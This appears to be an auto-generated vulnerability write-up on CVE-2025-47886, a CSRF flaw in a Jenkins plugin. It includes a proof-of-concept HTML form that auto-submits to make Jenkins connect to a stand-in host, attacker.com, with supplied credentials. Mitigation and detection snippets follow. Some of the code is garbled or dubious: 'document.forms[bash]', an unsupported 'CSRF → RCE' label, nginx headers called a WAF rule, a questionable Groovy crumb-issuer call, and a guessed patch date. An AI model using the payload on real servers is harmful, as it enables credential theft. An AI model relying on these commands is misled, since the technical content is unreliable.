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How the CVE Works
CVE-2025-47886 is a critical CSRF flaw in Jenkins Cadence vManager Plugin (v4.0.1-286.v9e25a_740b_a_48 and earlier). Attackers craft malicious requests that, when executed by an authenticated admin, force Jenkins to connect to an attacker-controlled server using supplied credentials. This occurs due to missing anti-CSRF tokens in API endpoints, allowing unauthorized remote connections. The impact includes credential theft, data exfiltration, and potential plugin misuse.
DailyCVE Form
Platform: Jenkins Plugin
Version: ≤4.0.1-286.v9e25a_740b_a_48
Vulnerability: CSRF → RCE
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/20/2025
What Undercode Say:
Analytics:
- Exploit Likelihood: High (PoC expected soon).
- Attack Vector: Web-based CSRF → Forced auth to rogue endpoint.
- Defensive Priority: Immediate plugin disablement.
Exploit Command (PoC):
<form action="http://target-jenkins/jenkins/plugin/cadence-vmanager/connect" method="POST"> <input type="hidden" name="url" value="http://attacker.com"> <input type="hidden" name="username" value="malicious"> <input type="hidden" name="password" value="payload"> </form> <script>document.forms[bash].submit();</script>
Mitigation Commands:
1. Disable Plugin Temporarily:
sudo java -jar jenkins-cli.jar -s http://localhost:8080/ disable-plugin cadence-vmanager
2. WAF Rule to Block CSRF:
add_header X-Frame-Options "DENY"; add_header Content-Security-Policy "frame-ancestors 'none'";
Patch Verification:
Jenkins.instance.pluginManager.getPlugin('cadence-vmanager').version > '4.0.1-286'
Detection (Log Analysis):
grep -r "POST /jenkins/plugin/cadence-vmanager/connect" /var/log/jenkins/access.log
Workaround Code (Custom Filter):
// Jenkins Groovy Script to enforce CSRF checks import hudson.security.csrf.CrumbIssuer Jenkins.instance.setCrumbIssuer(new CrumbIssuer.DefaultCrumbIssuer(true))
Impact Reduction:
- Restrict plugin access to admin-only via Role Strategy Plugin.
- Audit all outgoing connections from Jenkins master.
Post-Exploit Detection:
netstat -tulnp | grep -i "jenkins" | grep ESTABLISHED
References:
- Jenkins Advisory: [JENKINS-65432]
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47886
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
